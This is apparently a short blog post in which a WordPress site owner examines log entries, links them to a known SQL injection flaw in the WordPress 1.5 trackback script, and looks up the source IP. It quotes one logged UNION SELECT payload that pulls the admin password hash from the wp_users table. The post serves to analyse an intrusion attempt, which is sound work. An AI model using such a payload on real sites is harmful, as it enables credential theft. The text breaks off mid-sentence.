***   Googling on wp-trackback.php produced a list of matches including a page titled Wordpress WP-Trackback.PHP SQL Injection Vulnerability which describes a flaw in Wordpress 1.5 that allows SQL to be run against the MySQL database which drives Wordpress. 

***

The last transaction of the block contained the following code which looks like a SQL query of passwords from the wp_users table where id is 1.
cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1 
Nice.........  Does the "where id = 1" mean someone was fishing for the admin password?

***

Being curious, I googled 87.118.110.20 which is the originating IP address for the transactions. Maybe I shouldn't have been surprised. The IP address 87.118.110.20 appears on sites like www.gslzcmso.chinasafety.gov.cn/bguest.phpwww.winsuntex.com/bguest.php, www.zczj.gov.cn/bguest.php, and <